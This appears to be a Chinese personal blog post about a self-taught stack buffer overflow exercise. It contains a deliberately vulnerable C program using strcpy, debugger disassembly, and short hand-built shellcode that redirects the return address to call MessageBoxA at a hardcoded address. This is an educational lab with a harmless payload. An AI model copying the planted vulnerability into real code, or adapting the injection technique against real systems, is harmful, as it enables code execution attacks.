这个小部分实验还是花了一点时间的。开始想知道就可以了,先不玩了。后来还是静下心来,把这个玩出来了。跳出msgbox还是很兴奋的,尽管里面啥都木有。
上有漏洞的代码:
/*
note:
//MessageBox(0,"test","helloworld!",MB_OK);
*/
#include <string.h>
#include <stdio.h>
#include <windows.h>
#define PASSWORD "123456"
int authen(char *password)
{
int aut;
char buffer[44];//add to be overflowed!!
aut = strcmp(PASSWORD,password);
strcpy(buffer, password);//overflow!
return aut;
}
int main()
{
LoadLibrary("user32.dll");//prepare for msg
//MessageBox(0,"This is call overflow by desword!","attention!! I can redirect to any address!",MB_OK);
char password[1024];
FILE* fp;
if(!(fp=fopen("password2.txt","rw+")))//get the pass by read file
return 0;
fscanf(fp, "%s", password);
if( authen(password) )//modify the return address to call msgbox!
{
printf("no! you should try again!\n");
}
else
{
printf("Yes! you did it! \n");
}
fclose(fp);
getchar();
getchar();
return 0;
}
这次的文件中,直接先载入好了windows.h文件,还有user32的文件,方便后面直接调用msgbox的函数。
开始我这样想的,注入代码的话,要获得机器码。那怎么获得勒,可以直接抄书上的。但是我不想,我想,自己写一个msgbox的调用函数,OD直接看。
结果我得到这样的代码:
0040140B . C74424 0C 00000000 mov dword ptr [esp+C], 0 ; |
00401413 . C74424 08 78A04100 mov dword ptr [esp+8], 0041A078 ; |attention!! I can redirect to
any address!
0040141B . C74424 04 A4A04100 mov dword ptr [esp+4], 0041A0A4 ; |This is call overflow by
desword!
00401423 . C70424 00000000 mov dword ptr [esp], 0 ; |
0040142A . E8 DD170100 call <jmp.&USER32.MessageBoxA> ; \MessageBoxA
感觉怪怪的。都是mov,没有push的操作的。= =。 后面我发现了一个致命的问题。机器码中有00的,这个00会被strcpy认为是字符串的终止符,直接停止拷贝的。
就是这个问题,让我后面试了好几次的。不过还是直接改正过来了。想着, 可以自己写汇编代码然后看机器码,不过这里还是偷懒了。直接看书上的,自己改改了。
【这里我总想到,对于一个领域的研究,比如这个漏洞挖掘,或者机器学习算法。 起初应该找自己最能理解的一个角度去实验,这样才会激起兴趣,激起信心,才有可能继续学习下去。现在学习机器算法也是的。我认为,就是应该先抛开那个公式,找一个可以运行的代码,走一遍算法,分一遍类, 看看结果是什么, 再看代码细节,再是数学公式】
最终自己参照着写的代码是这样的。
33DB xor ebx,ebx
53 push ebx
8BC4 mov eax,esp
53 push ebx
50 push eax
50 push eax
53 push ebx
b81efdf274 mov eax, 74F2FD1E
ffd0 call eax
至于megbox的库函数地址,74F2FD1E (直接写一个msg函数,看od汇编得到地址)。
就是地址与操作系统什么的有关系的。后面会有更加通用的方法来操作的。
函数跳回的位置,应当是自己buffer的位置。
最终构造的漏洞利用文件时这样:
这样,就成功注入了自己的代码,跳出了啥都没有的msgbox了。
今天猛然发现每次重开系统,msgbox的载入位置还会不一样的。= =
7691FD1E USER32.> 8BFF mov edi, edi
于是,将msg的位置改成了7691FD1E 。再次成功。发现依旧需要通用的方法的。
期待后面更加精彩的内容吧!